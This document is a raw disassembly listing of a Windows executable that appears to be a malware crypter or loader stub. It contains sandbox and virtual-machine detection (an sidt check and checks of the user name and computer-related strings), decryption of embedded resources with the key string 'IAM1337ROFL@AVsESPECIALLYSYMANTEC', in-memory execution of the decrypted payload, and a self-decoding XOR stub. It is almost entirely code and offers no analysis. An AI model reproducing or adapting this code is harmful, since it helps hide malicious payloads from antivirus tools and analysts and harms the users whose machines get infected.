		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_404F24


loc_404F0F:				; CODE XREF: sub_404E94+8Ej
		lea	eax, [ebp+var_10]
		mov	edx, 4
		call	sub_403584
		retn
; ---------------------------------------------------------------------------


loc_404F1D:				; DATA XREF: sub_404E94+Do
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_404F0F
; ---------------------------------------------------------------------------


loc_404F24:				; CODE XREF: sub_404E94+88j
					; DATA XREF: sub_404E94+76o
		mov	eax, ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_404E94	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 21h
aIam1337rofl@_2	db 'IAM1337ROFL@AVsESPECIALLYSYMANTEC',0 ; DATA XREF: sub_404E94+29o
					; sub_404E94+52o
		align 4
		dd 0FFFFFFFFh, 8
dword_404F60	dd 0ED432F4Eh, 0A1D1E7C7h, 0		dd 0FFFFFFFFh, 0Ch
dword_404F74	dd 0CF6B1358h, 96F9D2DCh, 0E9383372h, 0
; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404F84	proc near		; CODE XREF: sub_40520C+1Bp

var_7		= byte ptr -7
var_6		= byte ptr -6

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		lea	eax, [ebp+var_7]
		sidt	fword ptr [ebp+var_6]
		cmp	dword ptr [ebp+var_6+2], 0F0000000h
		jle	short loc_404FA5
		cmp	dword ptr [ebp+var_6+2], 0FF000000h
		jg	short loc_404FB4
		jmp	short loc_404FBA
; ---------------------------------------------------------------------------


loc_404FA5:				; CODE XREF: sub_404F84+14j
		cmp	dword ptr [ebp+var_6+2], 0D0000000h
		jle	short loc_404FBA
		mov	[ebp+var_7], 1
		jmp	short loc_404FBE
; ---------------------------------------------------------------------------


loc_404FB4:				; CODE XREF: sub_404F84+1Dj
		mov	[ebp+var_7], 2
		jmp	short loc_404FBE
; ---------------------------------------------------------------------------


loc_404FBA:				; CODE XREF: sub_404F84+1Fj
					; sub_404F84+28j
		mov	[ebp+var_7], 0


loc_404FBE:				; CODE XREF: sub_404F84+2Ej
					; sub_404F84+34j
		mov	al, [eax]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_404F84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404FC4	proc near		; CODE XREF: sub_40520C+12p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		push	0
		push	ebx
		xor	eax, eax
		push	ebp
		push	offset loc_405026
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_4]
		xor	eax, eax
		call	sub_402A6C
		mov	eax, [ebp+var_4]
		push	eax
		lea	ecx, [ebp+var_8]
		mov	edx, offset aIam1337rofl@_3 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_405068
		call	sub_403E78
		mov	edx, [ebp+var_8]
		pop	eax
		call	sub_403748
		jnz	short loc_405009
		mov	bl, 1
		jmp	short loc_40500B
; ---------------------------------------------------------------------------


loc_405009:				; CODE XREF: sub_404FC4+3Fj
		xor	ebx, ebx


loc_40500B:				; CODE XREF: sub_404FC4+43j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40502D


loc_405018:				; CODE XREF: sub_404FC4+67j
		lea	eax, [ebp+var_8]
		mov	edx, 2
		call	sub_403584
		retn
; ---------------------------------------------------------------------------


loc_405026:				; DATA XREF: sub_404FC4+Bo
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_405018
; ---------------------------------------------------------------------------


loc_40502D:				; CODE XREF: sub_404FC4+61j
					; DATA XREF: sub_404FC4+4Fo
		mov	eax, ebx
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_404FC4	endp

; ---------------------------------------------------------------------------
		dd 0FFFFFFFFh, 21h
aIam1337rofl@_3	db 'IAM1337ROFL@AVsESPECIALLYSYMANTEC',0 ; DATA XREF: sub_404FC4+27o
		align 10h
		dd 0FFFFFFFFh, 0Dh
dword_405068	dd 0EC7A6658h, 0A8CCEBE8h, 0D4105C59h, 0C3h
; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405078	proc near		; CODE XREF: sub_40520C+9p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		xor	eax, eax
		mov	[ebp+var_8], eax
		xor	eax, eax
		push	ebp
		push	offset loc_4050E9
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	ebx, ebx
		mov	eax, 40h
		call	sub_4027B4
		mov	esi, eax
		mov	[ebp+var_4], 40h
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	ds:dword_4076B0	; GetUserNameA
		lea	ecx, [ebp+var_8]
		mov	edx, offset aIam1337rofl@_4 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_40512C
		call	sub_403E78
		mov	eax, [ebp+var_8]
		call	sub_4037FC
		cmp	esi, eax
		jnz	short loc_4050D3
		mov	bl, 1


loc_4050D3:				; CODE XREF: sub_405078+57j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4050F0


loc_4050E0:				; CODE XREF: sub_405078+76j
		lea	eax, [ebp+var_8]
		call	sub_403560
		retn
; ---------------------------------------------------------------------------


loc_4050E9:				; DATA XREF: sub_405078+10o
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_4050E0
; ---------------------------------------------------------------------------


loc_4050F0:				; CODE XREF: sub_405078+70j
					; DATA XREF: sub_405078+63o
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_405078	endp

; ---------------------------------------------------------------------------
		dd 0FFFFFFFFh, 21h
aIam1337rofl@_4	db 'IAM1337ROFL@AVsESPECIALLYSYMANTEC',0 ; DATA XREF: sub_405078+3Eo
		align 4
		dd 0FFFFFFFFh, 0Bh
dword_40512C	dd 0ED542958h, 91C8E8ECh, 7174Fh
; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405138	proc near		; CODE XREF: start+99p	start+ECp ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		xor	ecx, ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_4051B2
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		nop
		lea	edx, [ebp+var_10]
		mov	eax, ebx
		call	sub_404D90
		mov	eax, [ebp+var_10]
		call	sub_404DC8
		lea	edx, [ebp+var_C]
		call	sub_404D90
		mov	eax, [ebp+var_C]
		call	sub_404DC8
		lea	edx, [ebp+var_8]
		call	sub_404D90
		mov	eax, [ebp+var_8]
		call	sub_404DC8
		lea	edx, [ebp+var_4]
		call	sub_404D90
		mov	eax, [ebp+var_4]
		call	sub_404DC8
		mov	ebx, eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4051B9


loc_4051A4:				; CODE XREF: sub_405138+7Fj
		lea	eax, [ebp+var_10]
		mov	edx, 4
		call	sub_403584
		retn
; ---------------------------------------------------------------------------


loc_4051B2:				; DATA XREF: sub_405138+Fo
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_4051A4
; ---------------------------------------------------------------------------


loc_4051B9:				; CODE XREF: sub_405138+79j
					; DATA XREF: sub_405138+67o
		mov	eax, ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_405138	endp


; =============== S U B	R O U T	I N E =======================================



sub_4051C0	proc near		; CODE XREF: start+3Fp	start+AFp
		push	ebx
		push	esi
		mov	esi, eax
		push	0Ah
		push	edx
		mov	eax, ds:dword_407650
		push	eax
		call	ds:dword_4076B8	; FindResourceA
		mov	ebx, eax
		push	ebx
		mov	eax, ds:dword_407650
		push	eax
		call	ds:dword_4076BC	; SizeofResource
		mov	[esi], eax
		push	ebx
		mov	eax, ds:dword_407650
		push	eax
		call	ds:dword_4076C0	; LoadResource
		mov	ebx, eax
		push	ebx
		call	ds:dword_4076C4	; SetHandleCount
		mov	esi, eax
		test	esi, esi
		jz	short loc_405207
		push	ebx
		call	ds:dword_4076C8	; FreeResource


loc_405207:				; CODE XREF: sub_4051C0+3Ej
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_4051C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40520C	proc near		; CODE XREF: start+30p
		call	sub_404E94
		cmp	al, 1
		jz	short loc_405230
		call	sub_405078
		cmp	al, 1
		jz	short loc_405230
		call	sub_404FC4
		cmp	al, 1
		jz	short loc_405230
		call	sub_404F84
		cmp	al, 2
		jnz	short locret_405237


loc_405230:				; CODE XREF: sub_40520C+7j
					; sub_40520C+10j ...
		xor	eax, eax
		call	sub_403548
; ---------------------------------------------------------------------------

locret_405237:				; CODE XREF: sub_40520C+22j
		retn
sub_40520C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405238	proc near		; DATA XREF: CODE:004052A4o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_405257
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40525E


loc_405256:				; CODE XREF: sub_405238+24j
		retn
; ---------------------------------------------------------------------------


loc_405257:				; DATA XREF: sub_405238+6o
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_405256
; ---------------------------------------------------------------------------


loc_40525E:				; CODE XREF: sub_405238:loc_405256j
					; DATA XREF: sub_405238+19o
		pop	ebp
		retn
sub_405238	endp

; ---------------------------------------------------------------------------
dword_405260	dd 8				dd offset off_405268
off_405268	dd offset loc_403C84	; DATA XREF: CODE:00405264o
		dd offset sub_403C54
		dd offset sub_403A78
		dd offset sub_403A24
		dd offset sub_403CBC
		dd offset sub_403C8C
		dd offset sub_403D0C
		dd offset sub_403CDC
		dd offset sub_403F10
		dd offset sub_403EE0
		dd offset sub_4041B8
		dd offset sub_404188
		dd offset sub_4049CC
		dd offset sub_40499C
		dd 0
		dd offset sub_405238

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame

		public start

start		proc near

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebp
		mov	ebp, esp
		mov	ecx, 4


loc_4052B0:				; CODE XREF: start+Dj
		push	0
		push	0
		dec	ecx
		jnz	short loc_4052B0
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, offset dword_405260
		call	sub_403C10
		xor	eax, eax
		push	ebp
		push	offset loc_405444
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		call	sub_4049DC
		call	sub_40520C
		mov	edx, offset dword_405454
		mov	eax, offset dword_4076D0
		call	sub_4051C0
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_4052FA
		push	0
		call	ds:dword_4076CC	; ExitProcess


loc_4052FA:				; CODE XREF: start+48j
		mov	edx, offset dword_4076DC
		mov	eax, ebx
		mov	ecx, ds:dword_4076D0
		call	sub_4028C8
		mov	edi, 1
		mov	eax, offset dword_4077E0
		call	sub_403560
		mov	esi, 0Ah


loc_405320:				; CODE XREF: start+173j
		lea	edx, [ebp+var_14]
		mov	eax, edi
		call	sub_404D90
		mov	ecx, [ebp+var_14]
		mov	eax, offset dword_4077E0
		mov	edx, offset dword_405460
		call	sub_4036D4
		mov	eax, 91h
		call	sub_405138
		mov	eax, ds:dword_4077E0
		call	sub_4037FC
		mov	edx, eax
		mov	eax, offset dword_4076D4
		call	sub_4051C0
		mov	ebx, eax
		test	ebx, ebx
		jz	loc_405411
		mov	eax, offset dword_4076D8
		mov	edx, ds:dword_4076D4
		call	sub_403854
		mov	eax, offset dword_4076D8
		call	sub_40384C
		mov	edx, eax
		mov	eax, ebx
		mov	ecx, ds:dword_4076D4
		call	sub_4028C8
		mov	eax, 91h
		call	sub_405138
		lea	ecx, [ebp+var_18]
		mov	edx, offset aIam1337rofl@_5 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, ds:dword_4076D8
		call	sub_403E78
		mov	edx, [ebp+var_18]
		mov	eax, offset dword_4076D8
		call	sub_4035B4
		mov	eax, ds:dword_4076D8
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_403F24
		mov	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4040B4
		mov	edx, [ebp+var_1C]
		mov	eax, offset dword_4076D8
		call	sub_4035B4
		mov	eax, 91h
		call	sub_405138
		push	0
		lea	edx, [ebp+var_24]
		xor	eax, eax
		call	sub_402A6C
		mov	eax, [ebp+var_24]
		push	eax
		mov	eax, offset dword_4076D8
		call	sub_40384C
		xor	ecx, ecx
		pop	edx
		call	sub_4046C0
		test	al, al
		jmp	short loc_405419
; ---------------------------------------------------------------------------


loc_405411:				; CODE XREF: start+B8j
		push	0
		call	ds:dword_4076CC	; ExitProcess


loc_405419:				; CODE XREF: start+167j
		inc	edi
		dec	esi
		jnz	loc_405320
		push	0
		call	ds:dword_4076CC	; ExitProcess
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40544B


loc_405436:				; CODE XREF: start+1A1j
		lea	eax, [ebp+var_24]
		mov	edx, 5
		call	sub_403584
		retn
; ---------------------------------------------------------------------------


loc_405444:				; DATA XREF: start+20o
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_405436
; ---------------------------------------------------------------------------


loc_40544B:				; CODE XREF: start+19Bj
					; DATA XREF: start+189o
		pop	edi
		pop	esi
		pop	ebx
		call	sub_403468
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
dword_405454	dd 544553h, 0FFFFFFFFh,	2dword_405460	dd 4643h, 0FFFFFFFFh, 21haIam1337rofl@_5	db 'IAM1337ROFL@AVsESPECIALLYSYMANTEC',0 ; DATA XREF: start+F4o
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_405490	proc near		; CODE XREF: sub_4054A3+2Ap
		pusha
		push	ebp
		mov	ebp, esp
		call	sub_4054A3
		call	sub_405518
		jmp	near ptr loc_4054D2+1
sub_405490	endp


; =============== S U B	R O U T	I N E =======================================



sub_4054A3	proc near		; CODE XREF: sub_405490+4p
		push	dword ptr fs:0
		mov	fs:0, esp
		xor	edx, edx
		push	4
		push	edx
		push	800h
		push	20h
		push	edx
		push	400h
		push	edx
		push	80000000h
		call	sub_405490


loc_4054D2:				; CODE XREF: sub_405490+Ej
		add	[ecx], ch
		jmp	fword ptr [ecx]
sub_4054A3	endp

; ---------------------------------------------------------------------------
		leave
		mov	cl, 1


loc_4054D9:				; CODE XREF: CODE:004054DBj
		inc	edi
		dec	ecx
		jnz	short loc_4054D9
		call	sub_405514
		add	ecx, 3211Eh
		push	ecx
		mov	edx, 24D1h


loc_4054EE:				; CODE XREF: CODE:004054FBj
		mov	al, [ecx]
		xor	ax, di
		xchg	al, [ecx]
		inc	ecx
		sub	edx, 1
		or	edx, edx
		jnz	short loc_4054EE
		pop	ecx
		mov	esp, fs:0
		pop	dword ptr fs:0
		pop	edi
		pop	ebp
		mov	[esp+18h], ecx
		popa
		jmp	ecx
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_405514	proc near		; CODE XREF: CODE:004054DDp
		pop	ecx
		push	ecx
		retn
sub_405514	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_405518	proc near		; CODE XREF: sub_405490+9p

arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_C]
		xor	eax, eax
		pop	dword ptr [ecx+0B8h]
		retn
sub_405518	endp ; sp-analysis failed

CODE		ends

; Section 2. (virtual address 00006000)
; Virtual size			: 000000C4 (	196.)
; Section size in file		: 000000C4 (	196.)
; Offset to raw	data for section: 00006000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
DATA		segment	para public 'DATA' use32
		assume cs:DATA
		;org 406000h
dword_406000	dd 0							; sub_4033AC+2w ...
dword_406004	dd 0							; sub_403350+37r ...
byte_406008	db 2			; DATA XREF: sub_403A78+Dw
		db 8Dh,	40h, 0
word_40600C	dw 1332h		; DATA XREF: sub_402CDC+6r
					; sub_402CDC:loc_402D54r ...
		dw 0C08Bh
byte_406010	db 0			; DATA XREF: sub_402DB8r sub_402DD4r ...
		db 8Dh,	40h, 0
byte_406014	db 0			; DATA XREF: sub_403230-336r
					; sub_403230:loc_402F35r
		db 8Dh,	40h, 0
byte_406018	db 0			; DATA XREF: sub_4033DC:loc_40343Dr
		db 8Dh,	40h, 0
dword_40601C	dd 0		dword_406020	dd 0		off_406024	dd offset sub_402160	; DATA XREF: sub_4027B4+Ar
					; sub_402804+3Fr
off_406028	dd offset sub_40230C	; DATA XREF: sub_4027E4+5r
					; sub_402804+26r
off_40602C	dd offset sub_4026E8	; DATA XREF: sub_402804+Dr
byte_406030	db 0			; DATA XREF: sub_402860+36r
aRsu		db '���������������������',0
aFxn@		db '��@',0
aError		db 'Error',0            ; DATA XREF: sub_4033DC+6Co
		dw 0C08Bh
aRuntimeErrorAt	db 'Runtime error     at 00000000',0 ; DATA XREF: sub_403350+3o
					; sub_4033DC+32o ...
		dw 0C08Bh
byte_406074	db 30h			; DATA XREF: sub_403350+41r
		db 31h,	32h, 33h
		dd 37363534h, 42413938h, 46454443h
TlsIndex	dd 0			; DATA XREF: sub_403B80+Cr
					; sub_403B80+37r ...
dword_406088	dd 0							; sub_403C10+33o ...
dword_40608C	dd 400000h	dword_406090	dd 0		dword_406094	dd 0				align 10h
dword_4060A0	dd 1				dd 10h,	2, 20h,	4, 40h,	4, 40h
off_4060C0	dd offset dword_40769C	; DATA XREF: sub_4049DC+20Br
					; sub_4049DC+214r ...
DATA		ends

; Section 3. (virtual address 00007000)
; Virtual size			: 000007E5 (   2021.)
; Section size in file		: 000007E5 (   2021.)
; Offset to raw	data for section: 00007000
; Flags	C0000000: Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Regular
; Segment permissions: Read/Write
BSS		segment	para public '' use32
		assume cs:BSS
		;org 407000h
		assume es:nothing, ss:nothing, ds:CODE,	fs:nothing, gs:nothing
off_407000	dd offset sub_4038B8	; DATA XREF: sub_403A78+2Fw
dword_407004	dd 0		dword_407008	dd 0							; sub_402860+16r
dword_40700C	dd 0							; CODE:004031A0r
off_407010	dd offset sub_401008	; DATA XREF: sub_402DB8+14r
					; sub_402DD4+16r ...
off_407014	dd offset sub_401010	; DATA XREF: sub_403230-2B6r
					; CODE:00403188r ...
dword_407018	dd 0							; sub_403468+B7r
dword_40701C	dd 400000h	dword_407020	dd 6C8h		byte_407024	db 0			; DATA XREF: sub_403310+33w
		align 4
dword_407028	dd 0Ah		dword_40702C	dd 142340h	dword_407030	dd 0		byte_407034	db 0			; DATA XREF: sub_4033DC+1r
byte_407035	db 0			; DATA XREF: sub_401904+1Cr
					; sub_401904:loc_4019B8r ...
byte_407036	db 2			; DATA XREF: sub_403A78+28w
		align 4
dword_407038	dd 0							; sub_403A24+19o
word_40703C	dw 0D7B0h		; DATA XREF: sub_403A78+4Cw
		align 10h
		dd 71h dup(0)
dword_407204	dd 0							; sub_403A24+23o
word_407208	dw 0D7B0h		; DATA XREF: sub_4033DC+Ar
					; sub_403A78+55w
		align 10h
dword_407210	dd 0				align 10h
dword_407220	dd 0				dd 6Bh dup(0)
dword_4073D0	dd 0		word_4073D4	dw 0D7B0h		; DATA XREF: sub_403A78+5Ew
		align 4
		dd 71h dup(0)
dword_40759C	dd 1							; sub_402018+C3w ...
dword_4075A0	dd 40h							; sub_402018+CCw ...
dword_4075A4	dd 0							; sub_403A78w
dword_4075A8	dd 3							; sub_403A78+B2w ...
byte_4075AC	db 0			; DATA XREF: sub_401904+A0w
					; sub_401904:loc_4019D3r ...
		align 10h
dword_4075B0	dd 0							; sub_4015C8+99w ...
dword_4075B4	dd 6 dup(0)						; sub_401904+25o ...
dword_4075CC	dd 0							; sub_4010FC+3Cw ...
dword_4075D0	dd 145CCCh						; sub_4011E4+22r ...
off_4075D4	dd offset off_4075D4	; DATA XREF: sub_401364+3Eo
					; sub_4013C8+51o ...
		dd offset off_4075D4
		dd 2 dup(0)
off_4075E4	dd offset off_4075E4	; DATA XREF: sub_401684+Do
					; sub_40172C+12o ...
		dd offset off_4075E4
		dd 2 dup(0)
aDjdj:					; DATA XREF: sub_401904+80o
					; sub_402018:loc_40202Fr
		unicode	0, <D�D�>,0
		align 10h
dword_407600	dd 860044h						; sub_401ADC+4r ...
dword_407604	dd 0		dword_407608	dd 0							; sub_401EA8+2Er ...
dword_40760C	dd 0							; sub_401904+5Er ...
off_407610	dd offset off_407610	; DATA XREF: sub_401904+43o
					; sub_4019DC+90o ...
		dd offset off_407610
		align 10h
dword_407620	dd 0							; sub_4032A0+9o ...
dword_407624	dd 12FFB4h						; sub_403208+2r
off_407628	dd offset dword_405260	; DATA XREF: sub_403310+14w
dword_40762C	dd 0		off_407630	dd offset dword_406088	; DATA XREF: sub_403310+20w
		dd 6 dup(0)
byte_40764C	db 0			; DATA XREF: sub_403BC4r
		align 10h
dword_407650	dd 400000h						; sub_403C10+16r ...
dword_407654	dd 0							; CODE:loc_403C84w
dword_407658	dd 0		dword_40765C	dd 0							; sub_403CBCw
dword_407660	dd 0							; sub_403D0Cw
dword_407664	dd 0							; sub_403F10w
dword_407668	dd 0							; sub_4041B8w
dword_40766C	dd 0							; sub_403F24+DBr
dword_407670	dd 0							; sub_403F24+A8r ...
dword_407674	dd 0							; sub_4046C0+291r
dword_407678	dd 0							; sub_4041C0+22Ew ...
dword_40767C	dd 0							; sub_4046C0+15Ar
dword_407680	dd 0							; sub_4046C0+FDr
dword_407684	dd 0							; sub_4046C0+D7r
dword_407688	dd 0							; sub_4046C0+98r
dword_40768C	dd 0							; sub_4046C0+184r ...
dword_407690	dd 0		dword_407694	dd 0							; sub_4046C0+201r
dword_407698	dd 0							; sub_4046C0+113r
dword_40769C	dd 7C80ABDEh	; resolved to->KERNEL32.FreeLibrary					; sub_4041C0+234r ...
dword_4076A0	dd 0							; sub_4046C0+285r
dword_4076A4	dd 0							; sub_4049CCw
dword_4076A8	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddress					; sub_4049DC+A6r ...
dword_4076AC	dd 7C81153Ch	; resolved to->KERNEL32.GetFileAttributesAdword_4076B0	dd 77DFD4C9h	; resolved to->ADVAPI32.GetUserNameA					; sub_404DD4+3Dr ...
dword_4076B4	dd 0							; sub_404E50+16r
dword_4076B8	dd 7C80BE89h	; resolved to->KERNEL32.FindResourceA					; sub_4051C0+Dr
dword_4076BC	dd 7C80BC69h	; resolved to->KERNEL32.SizeofResource					; sub_4051C0+1Cr
dword_4076C0	dd 7C809FB5h	; resolved to->KERNEL32.LoadResource					; sub_4051C0+2Br
dword_4076C4	dd 7C80CC97h	; resolved to->KERNEL32.SetHandleCount					; sub_4051C0+34r
dword_4076C8	dd 7C8260C2h	; resolved to->KERNEL32.FreeResource					; sub_4051C0+41r
dword_4076CC	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcessdword_4076D0	dd 0		dword_4076D4	dd 0		dword_4076D8	dd 0		dword_4076DC	dd 41h dup(0)	dword_4077E0	dd 0				db 0
BSS		ends

; Section 4. (virtual address 00008000)
; Virtual size			: 000003F4 (   1012.)
; Section size in file		: 000003F4 (   1012.)
; Offset to raw	data for section: 00008000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata		segment	para public 'DATA' use32
		assume cs:_idata
		;org 408000h
		dd 3 dup(0)
		dd 8134h, 808Ch, 3 dup(0)
		dd 82D2h, 80E8h, 3 dup(0)
		dd 830Ah, 80F8h, 3 dup(0)
		dd 834Ah, 8108h, 3 dup(0)
		dd 8396h, 811Ch, 3 dup(0)
		dd 83D4h, 812Ch, 5 dup(0)
dword_40808C	dd 7C91188Ah	; resolved to->NTDLL.RtlDeleteCriticalSectiondword_408090	dd 7C9010EDh	; resolved to->NTDLL.RtlLeaveCriticalSectiondword_408094	dd 7C901005h	; resolved to->NTDLL.RtlEnterCriticalSectiondword_408098	dd 7C809EF1h	; resolved to->KERNEL32.InitializeCriticalSectiondword_40809C	dd 7C809AE4h	; resolved to->KERNEL32.VirtualFreedword_4080A0	dd 7C809A51h	; resolved to->KERNEL32.VirtualAllocdword_4080A4	dd 7C80992Fh	; resolved to->KERNEL32.LocalFreedword_4080A8	dd 7C80998Dh	; resolved to->KERNEL32.LocalAllocdword_4080AC	dd 7C8111DAh	; resolved to->KERNEL32.GetVersiondword_4080B0	dd 7C809728h	; resolved to->KERNEL32.GetCurrentThreadIddword_4080B4	dd 7C80A415h	; resolved to->KERNEL32.GetThreadLocaledword_4080B8	dd 7C801EEEh	; resolved to->KERNEL32.GetStartupInfoAdword_4080BC	dd 7C80B4CFh	; resolved to->KERNEL32.GetModuleFileNameAdword_4080C0	dd 7C80D262h	; resolved to->KERNEL32.GetLocaleInfoAdword_4080C4	dd 7C812F1Dh	; resolved to->KERNEL32.GetCommandLineAdword_4080C8	dd 7C80ABDEh	; resolved to->KERNEL32.FreeLibrarydword_4080CC	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcessdword_4080D0	dd 7C810D87h	; resolved to->KERNEL32.WriteFiledword_4080D4	dd 7C862E2Ah	; resolved to->KERNEL32.UnhandledExceptionFilterdword_4080D8	dd 7C937A40h	; resolved to->NTDLL.RtlUnwinddword_4080DC	dd 7C812A09h	; resolved to->KERNEL32.RaiseExceptiondword_4080E0	dd 7C812F39h	; resolved to->KERNEL32.GetStdHandle		align 8
dword_4080E8	dd 7E43119Bh	; resolved to->USER32.GetKeyboardTypedword_4080EC	dd 7E45058Ah	; resolved to->USER32.MessageBoxAdword_4080F0	dd 7E42DF50h	; resolved to->USER32.CharNextA		align 8
dword_4080F8	dd 77DD7883h	; resolved to->ADVAPI32.RegQueryValueExAdword_4080FC	dd 77DD761Bh	; resolved to->ADVAPI32.RegOpenKeyExAdword_408100	dd 77DD6BF0h	; resolved to->ADVAPI32.RegCloseKey		align 8
dword_408108	dd 7C809BC5h	; resolved to->KERNEL32.TlsSetValuedword_40810C	dd 7C809740h	; resolved to->KERNEL32.TlsGetValuedword_408110	dd 7C80998Dh	; resolved to->KERNEL32.LocalAllocdword_408114	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleA		dd 0
dword_40811C	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryAdword_408120	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddressdword_408124	dd 7C80ABDEh	; resolved to->KERNEL32.FreeLibrary		dd 0
dword_40812C	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddress		dd 0
aKernel32_dll	db 'kernel32.dll',0
		align 4
aDeletecritical	db 'DeleteCriticalSection',0
		align 4
aLeavecriticals	db 'LeaveCriticalSection',0
		align 4
aEntercriticals	db 'EnterCriticalSection',0
		align 4
aInitializecrit	db 'InitializeCriticalSection',0
		align 4
aVirtualfree	db 'VirtualFree',0
		dd 69560000h, 61757472h, 6C6C416Ch, 636Fh, 6F4C0000h, 466C6163h
		dd 656572h, 6F4C0000h, 416C6163h, 636F6C6Ch, 0
aGetversion	db 'GetVersion',0
		align 4
		dd 65470000h, 72754374h, 746E6572h, 65726854h, 64496461h
		dd 0
aGetthreadlocal	db 'GetThreadLocale',0
		dd 65470000h, 61745374h, 70757472h, 6F666E49h, 41h, 4D746547h
		dd 6C75646Fh, 6C694665h, 6D614E65h, 4165h, 65470000h, 636F4C74h
		dd 49656C61h, 416F666Eh, 0
aGetcommandline	db 'GetCommandLineA',0
		dd 72460000h, 694C6565h, 72617262h, 79h, 74697845h, 636F7250h
		dd 737365h, 72570000h, 46657469h, 656C69h, 6E550000h, 646E6168h
		dd 4564656Ch, 70656378h, 6E6F6974h, 746C6946h, 7265h, 74520000h
		dd 776E556Ch, 646E69h, 61520000h, 45657369h, 70656378h
		dd 6E6F6974h, 0
aGetstdhandle	db 'GetStdHandle',0
		align 2
aUser32_dll	db 'user32.dll',0
		align 10h
aGetkeyboardtyp	db 'GetKeyboardType',0
		dd 654D0000h, 67617373h, 786F4265h, 41h, 72616843h, 7478654Eh
		dd 64610041h, 69706176h, 642E3233h, 6C6Ch, 65520000h, 65755167h
		dd 61567972h, 4565756Ch, 4178h,	65520000h, 65704F67h, 79654B6Eh
		dd 417845h, 65520000h, 6F6C4367h, 654B6573h, 656B0079h
		dd 6C656E72h, 642E3233h, 6C6Ch,	6C540000h, 74655373h, 756C6156h
		dd 65h,	47736C54h, 61567465h, 65756Ch, 6F4C0000h, 416C6163h
		dd 636F6C6Ch, 0
aGetmodulehandl	db 'GetModuleHandleA',0
		align 2
aKernel32_dll_0	db 'kernel32.dll',0
		align 4
		dd 6F4C0000h, 694C6461h, 72617262h, 4179h, 65470000h, 6F725074h
		dd 64644163h, 73736572h, 0
